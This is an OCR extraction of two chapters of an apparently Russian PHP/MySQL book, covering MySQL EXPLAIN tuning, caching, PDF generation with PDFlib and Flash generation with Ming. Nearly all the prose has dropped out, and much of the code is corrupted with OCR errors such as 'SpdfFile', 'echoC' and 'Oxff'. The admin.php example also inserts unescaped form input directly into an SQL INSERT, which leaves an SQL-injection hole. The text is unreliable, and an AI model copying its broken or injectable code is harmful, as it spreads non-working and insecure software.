ActualPC
AssignedPC
ClientID

tt

et

do

CUSTNMBR (primary key)

EMPLOYID (primary key)

tt.ActualPC .
, - , EXPLAIN :
Table

Type

Possible Keys

Key

Key Length

Ref

Rows

et

ALL

PRIMARY

NULL

NULL

NULL

74

do

ALL

PRIMARY

NULL

NULL

NULL

2135

et_1

ALL

PRIMARY

NULL

NULL

NULL

74

tt

ALL

AssignedPC, ClientID, ActualPC

NULL

NULL

NULL

3872

, - A L L . ,
MySQL
. , . 45 268 558 720 (74*2135*74*3872). .
, MySQL , -.
VARCHAR CHAR ,
. t t . A c t u a l P C CHAR(10), a et.EMPLOYID
CHAR(15), . ,
ActualPC 10 15 :
mysql> ALTER TABLE tt MODIFY ActualPC VARCHAR(15);

929

t t . A c t u a l P C et.EMPLOYID ; EXPLAIN:
Key

Table

Type

Possible Keys

Key Length Ref

Rows

tt

ALL

AssignedPC, ClientID, ActualPC NULL

NULL

NULL

3872

do

ALL

PRIMARY

NULL

NULL

NULL

2135

etj

ALL

PRIMARY

NULL

NULL

NULL

74

et

eq_ref

PRIMARY

PRIMARY

15

tt.ActualPC

74 .
, tt. AssignedPC = et_1. EPLOYID tt. ClientID = do. CUSTNMBR:
mysql> ALTER TABLE tt MODIFY AssignedPC VARCHAR(15),
MODIFY ClientID VARCHAR(15);
EXPLAIN :
Table

Type

Possible Keys

Key

Key Length

Ref

Rows

et

ALL

PRIMARY

NULL

NULL

NULL

74

tt

ref

AssignedPC,
ActualPC

15

et.EMPLOYID

52

et_1

eq_ref PRIMARY

PRIMARY

15

tt. AssignedPC

do

eq_ref

PRIMARY

15

tt. ClientID

ClientID, ActualPC

PRIMARY

, . , EXPLAIN,
. MySQL , , ,
.


MySQL , ,
INSERT. DELETE, , , . OPTIMIZE TABLE:
OPTIMIZE TABLE tbl_name [,tbl_name]

OPTMIZE TABLE :



30 . 9S9

24.

930

OPTIMIZE ,
.


. ,
, :

MySQL . .
. , MEDIUMINT INT.
(. 24.3):
24.3. MySQL

TINYINT
SMALLINT
MEDIUMINT
INT

INTEGER
BIGINT
FLOAT(X)
FLOAT
DOUBLE
DOUBLE PRECISION
REAL
DECIMAL(M.D)
NUMERIC(M.D)


1
2
3
4
4
8
4, X <= 24, 8, 25 <= X <= 53
4
8
8
8
+2 , D > , +1 , D = 0 (D+2, < D)
+2 , D > , +1 , D = 0 (D+2, < D)

NOT NULL
.
TEXT, BLOB VARCHAR
,
, , . , blob ,
blob ,
.

.

931


, X ,
, . . .

SELECT, UPDATE, INSERT DELETE. .


. , .
90% .

, , . , . . - , CREATE TABLE
. .
MySQL . , , EXPLAIN.

SELECT
SELECT , . EXPLAIN ,
.

INSERT
:




( )

, INSERT DELAYED
INSERT. ,
. MySQL , .

932

24.

LOAD DATA INFILE, 20


, INSERT (
ORACLE\MSSQL).
- :
LOAD DATA INFILE data.txt INTO TABLE foo FIELDS TERMINATED BY ',';
LOAD DATA INFILE :
LOAD DATA [LOW.PRIORITY | CONCURRENT] [LOCAL] INFILE 'file.name.txf
[REPLACE | IGNORE]
INTO TABLE tbl_name
[FIELDS
[TERMINATED BY '\f ]
[[OPTIONALLY] ENCLOSED BY '']
[ESCAPED BY '\\' ]
]
[LINES TERMINATED BY '\n']
[IGNORE number LINES]
[(col_name,...)]
MySQL MySQL LOAD DATA INFILE.
:
4

LOCK TABLES a WRITE;


INSERT ....
INSERT ....
UNLOCK TABLES;

UPDATE
UPDATE SELECT . UPDATE xx FROM yy WHERE zz SELECT xx FROM yy WHERE zz - . UPDATE,
SELECT.

DELETE
.
, MySQL . ,
TRUNCATE TABLE tb_name, , DELETE, tb_name. TRUNCATE TABLE , .

933


.
, . ,
.
.


MySQL :
int mysql_pconnect([string hostname [:port] [:/path/to/socket]
[, string username [, string password]]])

, .
, ,
. SQL- . .


, :
SELECT ,
, ,
VARCHAR BLOB
,


,
, . MySQL
:
SELECT * FROM tb_name WHERE hash=MD5(concat(coH,col2))
AND co!1='x' AND col2=Ty';


( ), . :
UPDATE tb name SET count=count+1 WHERE col='x';

934

24.



.

,
.
AUTO_INCREMENT

/. / .
, - . .

?
- , .
, . , .

?
- . ,
, . - .
.
,
.
(, - RSS),
.


:
,
, .

935

.
. .


, . , , . ,
.


. , (. 24.2):
,

. .

;,;

j

.
1

\
\

-;;;v;:;.;: \



_/

. 24.2. -

,
, , :
, , . ,
, , . , ,
, cache_funcName.dat (.
). printTable(),
cache_printTable. dat.

936

24.


, . , ,
5 ,
5 . , , - .
PHP f ilemtime().

. .
, ,
.
.

, . , . -
, .

, . .

p r i n t ( ) , echo()
.
, :
,
,


,
. .
,
. :

,

937

DBM,


, . ,
,
.
. , , SQL.
,
. , , , , , - .

.

. .
, .
, . - , - modes ( UNIX),
. , .
DBM
DBM - ,
. DBM
, ,
, . DBM. , DB2
SleepyCat (http://www.sleepycat.com/).
DBM , , ,
.

.
, .

938

24.

.
, . , .


,
.
, . Linux
.
DBM- ,
. , .
- . , , .



(. 24.4):
24.4.

, , cache_f uncName. dat

- , , cache_fileName. dat

, , cache_fileName. dat

md5() $REQUEST_URI. ,
URI id ,

md5() :
128- . :
( ), md5

, md5
md5
md5() , . ,

939

md5 , . 23 md5() , .


(validation criteria) - ,
, . ,
, . . , ,
10 .
, . , XML , ,
XML.
XML, , ,
.


, , .
, . , . , , , .
, . , .
(LRU).
, .
crontab ( UNIX), 20.
LRU , , , . , , , , . , , , , .

?
, , , - .

940

24.



. , ,
, .
-

.

, , .
md5() URI.
,
; . , .
URI, 10 , , :
<?php
//
$cache_name = md5($REQUESTJJRI);
$time = date('U');
// , ,
// 10 (600 )
if (file_exists($cache_name) && ($time - filemtime($cache_name)) < 600) {
$data=readfile($cache_name);
echo($data);
} else {
ob_start();
//
echo( "Hello world\n");
$data = ob_get_contents();
$fh = fopen($cache_name, 'w+');
fwrite($fh, $data);
fclose($fh);
ob_end_flush();


, , SELECT .
,

941

. , ,
, , .

. .
.
.
md5() SELECT ,
, . UPDATE, INSERT DELETE, , .
:
md5hash_table1_table2_table3_table4.dat

mdShash - md5() SELECT,


, ( , , ).
SELECT md5()
, ,
. , , . , .
UPDATE, DELETE INSERT , .
, ( ).
, . , , . (round robin) -.


.
-

942

24.

. Zend
, .
,
. , ,
.
:

Zend Cache (http://www.zend.com/store/products/zend-cache.php)


Cache (http://apc.communityconnect.com/)

AfterBurner Cache (http://bwcache.bware.it/cache.htm)

Zend Accelerator (http://www.zend.com/store/products/zend-accelerator.php)


,

. ,
10 20%. Zend Accelerator - Zend Cache

. Zend Optimizer.

.
, :



:




, .
.

25
PHP
PHP 75 . ,
PDF, Flash, WAP WML .
,
. ( 4),
, .

Base Library ( PHPLIB). PHPLIB, , , . PHPLIB
http://phplib.netuse.de/.1 , PHPLIB , , .
PHP-GTK ,
, -.
http://www.php.net/.
GTK+, - GTK+. GUI. , GTK+ ,
.
. ,
,
PHPLIB Sourceforge http://sourceforge.net/projects/phplib. - . ..

944

25.

, , . , , .
- Wrox (http://www.wrox.com/).

PDF
PDFlib - , PDF (
PDF Adobe ). ,
, PDF.

PDFlib Windows : ( p h p _ p d f . d l l ) extensions ( )


extension=php_pdf, dll p h p . ini.
UNIX- - .
PDFlib :
, Windows,
PDFlib . , . PDFlib, LibTIFF LibJPEG, http://www.libtiff.org/
ftp://ftp.uu.net/graphics/jpeg/coonBeTCTBeHHO.
PDFlib . , PDF Import Library ( PDI), , PDFlib, PDI .
PDFlib , PDFlib, :

PDFlib . ,
, p h p i n f o ( ) . configure --with-pdflib=yes --with-pdflib=<dir>, --with-pdf lib=no.

,
php. ini.

php. ini safejnodeOff enable_dl=0n.

PDF

945

. , <pdf lib-di recto ry>/bind/


php/ , .
PDFlib , , PDI, , , . 4.0.411, 4.0.5 4.0.6 ( UNIX Windows).
, p h p . ini, extension=php_pdf. dll extension=libpdf_php. so. php. ini,
PDFlib
dl("<pdflib_module>"). d l ( ) , CGI ( ), ,
, .
PDFlib ,
:
PDFlib ( ) <pdf lib_directory> make make install.
PDFlib <pdflib_directory>/bind/php/ext/pdf/* <php_directory>/ext/pdf.
PDFlib --witn-pdflib[=<pdf lib_installation_directory>],
/usr/lib/ . --with-pdflib=<pdflib_directory>/
bind/c.
, (make; make install).

PDFlib
PDFlib , ,
, . PDFlib ,
,
, PDF
.
, PDFlib ( p h p . ini), PDF, /
. PDF Sample Text in
Arial Font!, . , ,
PDF.
PDF, :

946

25.

<?php
: //pdfdemo.php
SpdfFile -=. pdf_new();
PDFj)pen_flle($pdfFile, "");
PDF
:
:

;v pdf_set_info($pdf File, "Author",, ."Devon 0 ' Dell") ; . \


pdf_set_info($pdfFile, "Creator", "Devon O'Dell");
pdf_set_info($pdfFile, "Title", "PDFlib Demonstration");
pdf_set_info($pdfFile, "Subject", "Demonstrating the PDFlib");

. 595 842 :
pdf_begin_page($pdf File, 595, 842);
.
,
(). PDF , ,
,
:
pdf_add_bookmark($pdfFile, "Page 1");
, Arial "winansi", 1, ,
PDF. ,
, (
PDF):
if ($font = pdf_findfont($pdf File, "Arial", "winansi", 1)) {
PDF_setfont($pdfFile, $font, 12); ;:
} else {
: :
echoC'Font Not Found.");
pdf_end_page($pdfFile);
pdf_close($pdfFile);
pdf_delete($pdfFile);
exit;
.
(50, 780), PDF:
pdf_snow_xy($pdfFile, "Sample Text in Arial Font", 50, 780);

PDF

947

, ,
, .
PDF , :
pdf_end_page($pdfFlle);
pdf_close($pdfFile);
PDF $pdf
SpdfLen. ,
,
:
$pdf = pdf_get_buffer($pdfFile);
$pdfLen = strlen($pdf);
PDF,
. filename Content-Disposition
, , :
header( "Content-type : application/pdf " ) ;
header( "Content-Length: $pdfLen");
' header ( "Content-Disposition: inline; filertame=phpMade.pdf");
PDF , ,
PDF:
prlnt($pdf); \;:
PDF :
pdf_delete($pdfFile);

'

"'" '

'

PDF , PDF . , . ,
4.
?
,
, .
MySQL .
:
CREATE DATABASE manual;
USE manual;

948

25.
CREATE TABLE manual. entries (

:% ; id irit(H') NOT NULL AUTO_INCREMENT PRIMARY KEY, '


; topic VARCHAR(IOO) NOT NULL UNIQUE,
content BLOB NOT NULL
,
:
<?php
//admin, php
if (!$submit) {
?>
<html>
<headxtitle>Admin.php</titlex/head>
<body>
<form action="<?php echo($PHP_SELF); ?>" method="POST">
Topic: <input type=text maxlength=100 name=topicxbr>
Content :<br>
<textarea rows=80 cols=25 name=contentx/textarea><br>
<input type=submit name=submit>
</form>
</body> :
</html>
<?php
} else {
if (@fnysql( "manual", "INSERT INTO entries (id, topic, content)
VALUES (NULL, 'Stopic1, 'Scontent ')")){
echo( "Successfully added information into database");
} else {
echo("Error: " . mysql_error());

.
PDF:
<?php
//manual, php
// PDF ""
SpdfFile = pdf_new();
pdf_open_file($pdfFile, "");
//
pdf_set_info($pdfFile, "Author", "Devon O'Dell");
pdf_set_info($pdfFile, "Creator", "Devon O'Dell");
pdf_set_info($pdfFile, "Title", "PDFlib Demonstration");
pdf_set_info($pdfFile, "Subject", "Demonstrating the PDFlib");

PDF

949

:
Sentries = mysql( "manual", "SELECT * FROM entries");
f o r :
for ($index = 0; $index < mysql_num_rows($entries); $index++) {
//
Sentry = mysql_fetch_array($entries);
//
pdf_begin_page($pdfFile, 595, 842);
//
pdf_add_bookmark($pdfFile, $entry[ 'topic' ]);
// Arial 9
if (Sfont = pdf_findfont($pdfFile, "Arial", "winansi", 1)) {
POF_setfont($pdfFile, Sfont, 9);
} else {
echo("Font Not Found.");

pdf _end_page($pdf File) ;


pdf_close($pdfFile);
pdf_delete($pdfFile);

exit;

:
pdf_show_xy($pdfFile, Sent ry[ 'content'], 50, 780);

, ,
:
pdf _end_page( Spdf File ) ;

PDF:
// SpdfFile
pdf_close($pdfFile);
//
$pdf = pdf_get_buffer($pdfFile);
SpdfLen = strlen(Spdf);
//
heade ( "Content-type : application/pdf " ) ;
header ("Content- Length: SpdfLen");
header( "Content-Disposition: inline; filename=phpMade.pdf");

950

25.

//
print($pdf);
// .
pdf_delete($pdfFile);

Macromedia Flash
, , ,
Macromedia Flash. , Macromedia
. swf ( Shockwave Flash), open source.
Shockwave Flash.

Ming LibSWF
, Shockwave
PHP: Ming LibSWF. Ming,
LibSWF. Ming, , --'
, a LibSWF - ,
. Ming Flash 4 (
ActionScri.pt Flash 5, CVS), , , ,
(tweens), , , - . .
Ming http://www.opaque.net/ming/.
Windows, , , Ming
,
( ).
UNIX Ming :
.
Ming PDFlib. Ming .
php. ini dl(),
, :
Ming, <ming_directory>
make static <ming_directory>
<ming_directory>/php_ext/
make php_ming. so
Ming , :
Ming, <ming_directory>
mkdi <php_directory>/ext/ming/

Macromedia Flash

951

php_ext/* <php_directory>/ext/ming/
cd <php_directory>/
./buildconf
./configure --with-ming <other configuration options>
PHP, (make; make install)
-

Ming
flash- Ming. Flash . Ming
SWFMovie ,
: ,
.
SWFMovie :
$movie = new SWFMovie()

$movie,
:
$movie->setBackground(0, 0x44, 0x95);
:
$movie->setDimension(320, 240);
, :
$movie->setRate(12.0);

, 640x480
HTML, 320x240,
, , ,
.
:
$movie->add($shape);
:
$movie->nextframe()

( ), f o r while.

952

25.

,
remove(). ,
:
$instance2 = $movie->add($shapeVariable)

, . , , Shockwave Flash, a
. Ming :

header("Content-type: application/x-shockwave-flash");
$movie->output();
, Ming.

Ming SWFShape. Ming , :


Sshape = new SWFShapeO;

Ming , . . , , Ming
, ,
. , Ming.
, 100 . , , , ( ). ,
.
,
setLine() ( ). 20 . Flash
, .
, . , HTML, . set Line () alpha,
:
$shape->setline(20, 0, Oxff, 0);

, (, ,
, ). -

Macromedia Flash

953

pa 0, 100. 100, 100, 100, 0 , . , SWFMovie:


$shape->drawlineTo(0, 100);
$shape->drawlineTo(100, 100);
$shape->drawLineTo(100, 0);
$shape->drawLineTo(0, 0);
$movie->add($shape);
, movePenTo(x, ), ( , ). ,
, drawLineQ, , . (
). , , :
$shape->movePenTo(100, 100);
$shape->drawLine(0, -100);
$shape->drawl_ine(-100, 0);
$shape->drawLine(0, 100);
$shape->drawLine(100, 0);
:
,
. drawCurve(x, ) drawCurveTo(control_x, control_y, end_x,
end_y) .
.
,
, , . ( ) ,
.
, Ming , . , . ,
Shockwave
, ( ). setR i g h t F i l l ( S W F O b j e c t ) setLeftFill(SWFObject).
. ,
add Fill () :
Sshape = new SWFShapeO;
$fill = $shape->addFill(Oxff, O.,0);

954

25.

$shape->setleftFill($fill);
$shape->setLine(10, 0, Oxff, 0);
$shape->movePenTo(100, 100);
$shape->drawLine(0, -100);
$shape->drawLine(-100, 0);
$shape->drawLine(0, 100);
$shape->drawLine(100, 0);

setLeftFillO , . ,
drawLine()
. (. 25.1):
, : -100,
:

, : ,
: 100

, : ,
: -100

(0,0)
, : 100,
:

. 25.1. drawLine( )

. Ming
JPEG ( JPEG
) DBL ( PNG, png2dbl, Ming). PNG,
JPEG, GIF TTF.
, SWFBitmap:
new SWFBitmap(string filename [, int alphafilename])
GIF , JPEG ( DBL), gif2mask
( Ming). ( ) , ,
( ) .

Macromedia Flash

955

, SWFBitmap,
getWidth() getHeight (), SWFBitmap. , Flash .

addFill(), .
addFill() SWFBitmap :
void swfshape->addfill(SWFbitmap bitmap [, int flags])
flags SWFFILL_CLIPPED_BITMAP ( )
SWFFILL_TILED_BITMAP. ,
( )
( ).
- . , . ,
,
0,1.
SWFObject
SWFGradient:
Sgradient = new SWFGradient()

addEntry() :
void swfgradient->addentry(float ratio, int red, int green, int blue [, int a])
addFill():
void swfshape->addfill(SWF6radient gradient [, int flags])
SWFFILL_LINEAR_GRADIENT ( ) SWFFILL_RADIAL_GRADIENT
.
(. .
, )
:
Sgradient = new SWFGradientQ;
$gradient->addEntry(0, Oxff, 0, 0);
$gradient->addEntry(1.0, 0, 0, Oxff);
$shape->addFill($gradient);
Ming . , , , . , , :

25.

956
void swffill->moveto(int x, int )
void swffill->scaleto(int x, int )
void swffill->rotateto(float degrees)
void swffill->skewxto(float x)
void swffill->skewyto(float y)

, Ming , .
,
SWFShape , .
,
, .
, ,
, (. 25.1):
25.1.

moveTo(x, )

move(x, )

skewXTo(skew)

: 0 ; 1,0 - 45; 2,0 - 90 . . ( 30 1,0 45 30, 2/3,


0,66667)

skewX(skew)

skewYTo(skew)

skewY(skew)

rotateTo(degrees)

rotate(degrees)

scaleTo(x [, y])

( , . . , ,
);

scale(x[,y])

addColor(red, green,
( - - ) blue [, alpha])
multcolor(red, green,
, , ()
blue [, alpha]) - . RGB , , -1,0 (1,0 -
)

Macromedia Flash

957

,
: hit (), down (), over () up (), . Flash , . :
$button = new SWFButtonO
(, ) :
void swfbutton->addshape(ressource s,hape, int flags)
flags SWFBUTTON_HIT,
SWFBUTTON_DOWN, SWFBUTTON_UP SWFBUTTON_OVER. ,
, , .